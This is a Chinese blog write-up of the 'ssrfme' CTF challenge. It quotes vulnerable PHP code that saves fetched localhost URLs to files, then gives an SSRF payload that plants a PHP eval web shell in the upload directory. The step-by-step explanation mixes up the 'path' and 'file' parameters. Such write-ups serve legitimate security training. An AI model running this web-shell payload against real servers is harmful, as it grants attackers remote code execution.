bmzctf刷题ssrfme
bmzctf刷题 ssrfme
考点:ssrf 本来我还想docker逃逸的,但是未成功
😕
代码
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
思路:
代码的功能主要是
1.给出两个参数path和file
2.检查path中是否含有..
有的话就显示This is a waf
3.通过strop函数比较传入的path开头是否以http://127.0.0.1/
开头,没有的话显示hello geeker
4.如果path是以http://127.0.0.1/
开头,就包含path传入的url,并显示路径l
5.程序会获取返回页面的代码,并保存到php中
方法
通过传入payload,然后让程序读取,保存到php
payload:
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php%26path=%253c%253fphp%2beval(%2524_POST%255b%2527shell%2527%255d)%253b%253f%253e&path=181.php
原版:
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php&path=<?php eval($_POST['shell']);?>&path=181.php
读flag
A lion doesn't concern himself with the opinions of a sheep.
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)